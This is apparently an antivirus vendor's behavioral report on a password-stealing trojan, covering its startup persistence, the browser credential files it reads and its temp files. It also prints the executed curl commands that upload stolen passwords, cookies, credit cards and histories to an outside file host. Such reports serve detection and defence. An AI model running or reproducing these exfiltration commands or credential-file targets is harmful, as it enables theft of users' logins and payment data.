Trojan.PWS.Siggen5.32251

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.exe

Malicious functions

Reads files which store third party applications passwords

%APPDATA%\opera software\opera stable\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\microsoft\edge\user data\default\web data
%LOCALAPPDATA%\microsoft\edge\user data\default\login data

Modifies file system

Creates the following files

%TEMP%\_mei13322\crypto\cipher\_arc4.pyd
%TEMP%\_mei13322\crypto\cipher\_salsa20.pyd
%TEMP%\_mei13322\crypto\cipher\_chacha20.pyd
%TEMP%\_mei13322\crypto\cipher\_pkcs1_decode.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_aes.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_aesni.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_arc2.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_blowfish.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cast.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cbc.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cfb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ctr.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_des.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_des3.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ecb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_eksblowfish.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ocb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ofb.pyd
%TEMP%\_mei13322\crypto\hash\_blake2b.pyd
%TEMP%\_mei13322\crypto\hash\_blake2s.pyd
%TEMP%\_mei13322\crypto\hash\_md2.pyd
%TEMP%\_mei13322\crypto\hash\_md4.pyd
%TEMP%\_mei13322\crypto\hash\_md5.pyd
%TEMP%\_mei13322\crypto\hash\_ripemd160.pyd
%TEMP%\_mei13322\crypto\hash\_sha1.pyd
%TEMP%\_mei13322\crypto\hash\_sha224.pyd
%TEMP%\_mei13322\crypto\hash\_sha256.pyd
%TEMP%\_mei13322\crypto\hash\_sha384.pyd
%TEMP%\_mei13322\crypto\hash\_sha512.pyd
%TEMP%\_mei13322\crypto\hash\_ghash_clmul.pyd
%TEMP%\_mei13322\crypto\hash\_ghash_portable.pyd
%TEMP%\_mei13322\crypto\hash\_keccak.pyd
%TEMP%\_mei13322\crypto\hash\_poly1305.pyd
%TEMP%\_mei13322\crypto\math\_modexp.pyd
%TEMP%\_mei13322\crypto\protocol\_scrypt.pyd
%TEMP%\_mei13322\crypto\publickey\_curve25519.pyd
%TEMP%\_mei13322\crypto\publickey\_curve448.pyd
%TEMP%\_mei13322\crypto\publickey\_ec_ws.pyd
%TEMP%\_mei13322\crypto\publickey\_ed25519.pyd
%TEMP%\_mei13322\crypto\publickey\_ed448.pyd
%TEMP%\_mei13322\crypto\util\_cpuid_c.pyd
%TEMP%\_mei13322\crypto\util\_strxor.pyd
%TEMP%\_mei13322\vcruntime140.dll
%TEMP%\_mei13322\vcruntime140_1.dll
%TEMP%\_mei13322\_asyncio.pyd
%TEMP%\_mei13322\_bz2.pyd
%TEMP%\_mei13322\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei13322\_ctypes.pyd
%TEMP%\_mei13322\_decimal.pyd
%TEMP%\_mei13322\_hashlib.pyd
%TEMP%\_mei13322\_lzma.pyd
%TEMP%\_mei13322\_multiprocessing.pyd
%TEMP%\_mei13322\_overlapped.pyd
%TEMP%\_mei13322\_queue.pyd
%TEMP%\_mei13322\_socket.pyd
%TEMP%\_mei13322\_sqlite3.pyd
%TEMP%\_mei13322\_ssl.pyd
%TEMP%\_mei13322\_uuid.pyd
%TEMP%\_mei13322\_wmi.pyd
%TEMP%\_mei13322\base_library.zip
%TEMP%\_mei13322\certifi\cacert.pem
%TEMP%\_mei13322\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei13322\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\installer
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\metadata
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\record
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\wheel
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license.apache
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license.bsd
%TEMP%\_mei13322\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei13322\libcrypto-3.dll
%TEMP%\_mei13322\libffi-8.dll
%TEMP%\_mei13322\libssl-3.dll
%TEMP%\_mei13322\pyexpat.pyd
%TEMP%\_mei13322\python3.dll
%TEMP%\_mei13322\python313.dll
%TEMP%\_mei13322\select.pyd
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
%TEMP%\_mei13322\setuptools\_vendor\jaraco\text\lorem ipsum.txt
%TEMP%\_mei13322\sqlite3.dll
%TEMP%\_mei13322\unicodedata.pyd
%LOCALAPPDATA%\tempcrcusrxdsd.db
%LOCALAPPDATA%\tempcrjsqbxrpf.db
%LOCALAPPDATA%\tempcrokigwcfl.db
%LOCALAPPDATA%\tempcrdnboiyud.db
%LOCALAPPDATA%\tempcrjxuvjdfg.db
%LOCALAPPDATA%\tempcrehgqmhrz.db
%LOCALAPPDATA%\tempcrwheernog.db
%TEMP%\crhistory.txt
%LOCALAPPDATA%\tempcrexkdzfhs.db
%LOCALAPPDATA%\tempcrkxlkrzlv.db
%LOCALAPPDATA%\tempcrixllzwnc.db
%LOCALAPPDATA%\tempcrzicfyizs.db

Deletes following files that it created itself

%LOCALAPPDATA%\tempcrdnboiyud.db
%LOCALAPPDATA%\tempcrokigwcfl.db
%LOCALAPPDATA%\tempcrjsqbxrpf.db
%LOCALAPPDATA%\tempcrcusrxdsd.db
%LOCALAPPDATA%\tempcrjxuvjdfg.db
%LOCALAPPDATA%\tempcrehgqmhrz.db
%LOCALAPPDATA%\tempcrwheernog.db
%LOCALAPPDATA%\tempcrexkdzfhs.db
%LOCALAPPDATA%\tempcrkxlkrzlv.db
%LOCALAPPDATA%\tempcrixllzwnc.db
%LOCALAPPDATA%\tempcrzicfyizs.db
%TEMP%\_mei13322\base_library.zip
%TEMP%\_mei13322\certifi\cacert.pem
%TEMP%\_mei13322\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei13322\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei13322\crypto\cipher\_arc4.pyd
%TEMP%\_mei13322\crypto\cipher\_chacha20.pyd
%TEMP%\_mei13322\crypto\cipher\_pkcs1_decode.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_aes.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_aesni.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_arc2.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_blowfish.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cast.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cbc.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_cfb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ctr.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_des.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_des3.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ecb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_eksblowfish.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ocb.pyd
%TEMP%\_mei13322\crypto\cipher\_raw_ofb.pyd
%TEMP%\_mei13322\crypto\cipher\_salsa20.pyd
%TEMP%\_mei13322\crypto\hash\_blake2b.pyd
%TEMP%\_mei13322\crypto\hash\_blake2s.pyd
%TEMP%\_mei13322\crypto\hash\_ghash_clmul.pyd
%TEMP%\_mei13322\crypto\hash\_ghash_portable.pyd
%TEMP%\_mei13322\crypto\hash\_keccak.pyd
%TEMP%\_mei13322\crypto\hash\_md2.pyd
%TEMP%\_mei13322\crypto\hash\_md4.pyd
%TEMP%\_mei13322\crypto\hash\_md5.pyd
%TEMP%\_mei13322\crypto\hash\_poly1305.pyd
%TEMP%\_mei13322\crypto\hash\_ripemd160.pyd
%TEMP%\_mei13322\crypto\hash\_sha1.pyd
%TEMP%\_mei13322\crypto\hash\_sha224.pyd
%TEMP%\_mei13322\crypto\hash\_sha256.pyd
%TEMP%\_mei13322\crypto\hash\_sha384.pyd
%TEMP%\_mei13322\crypto\hash\_sha512.pyd
%TEMP%\_mei13322\crypto\math\_modexp.pyd
%TEMP%\_mei13322\crypto\protocol\_scrypt.pyd
%TEMP%\_mei13322\crypto\publickey\_curve25519.pyd
%TEMP%\_mei13322\crypto\publickey\_curve448.pyd
%TEMP%\_mei13322\crypto\publickey\_ec_ws.pyd
%TEMP%\_mei13322\crypto\publickey\_ed25519.pyd
%TEMP%\_mei13322\crypto\publickey\_ed448.pyd
%TEMP%\_mei13322\crypto\util\_cpuid_c.pyd
%TEMP%\_mei13322\crypto\util\_strxor.pyd
%TEMP%\_mei13322\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\installer
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license.apache
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\licenses\license.bsd
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\metadata
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\record
%TEMP%\_mei13322\cryptography-46.0.4.dist-info\wheel
%TEMP%\_mei13322\libcrypto-3.dll
%TEMP%\_mei13322\libffi-8.dll
%TEMP%\_mei13322\libssl-3.dll
%TEMP%\_mei13322\pyexpat.pyd
%TEMP%\_mei13322\python3.dll
%TEMP%\_mei13322\python313.dll
%TEMP%\_mei13322\select.pyd
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
%TEMP%\_mei13322\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
%TEMP%\_mei13322\setuptools\_vendor\jaraco\text\lorem ipsum.txt
%TEMP%\_mei13322\sqlite3.dll
%TEMP%\_mei13322\unicodedata.pyd
%TEMP%\_mei13322\vcruntime140.dll
%TEMP%\_mei13322\vcruntime140_1.dll
%TEMP%\_mei13322\_asyncio.pyd
%TEMP%\_mei13322\_bz2.pyd
%TEMP%\_mei13322\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei13322\_ctypes.pyd
%TEMP%\_mei13322\_decimal.pyd
%TEMP%\_mei13322\_hashlib.pyd
%TEMP%\_mei13322\_lzma.pyd
%TEMP%\_mei13322\_multiprocessing.pyd
%TEMP%\_mei13322\_overlapped.pyd
%TEMP%\_mei13322\_queue.pyd
%TEMP%\_mei13322\_socket.pyd
%TEMP%\_mei13322\_sqlite3.pyd
%TEMP%\_mei13322\_ssl.pyd
%TEMP%\_mei13322\_uuid.pyd
%TEMP%\_mei13322\_wmi.pyd

Network activity

UDP

DNS ASK ap#.#pify.org
DNS ASK ap#.#ofile.io
DNS ASK ge####ation-db.com

Miscellaneous

Restarts the analyzed sample

Executes the following

'<SYSTEM32>\cmd.exe' /c "tasklist"
'<SYSTEM32>\tasklist.exe'
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile"
'<SYSTEM32>\curl.exe' -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile
'<SYSTEM32>\cmd.exe' /c "tasklist"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crpasswords.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcookies.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crcreditcards.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crautofills.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crhistories.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%TEMP%\crbookmarks.txt" https://store4.gofile.io/uploadFile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "curl -F "file=@%HOMEPATH%/Desktop/64bit_notes.htm" https://store4.gofile.io/uploadFile"' (with hidden window)

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

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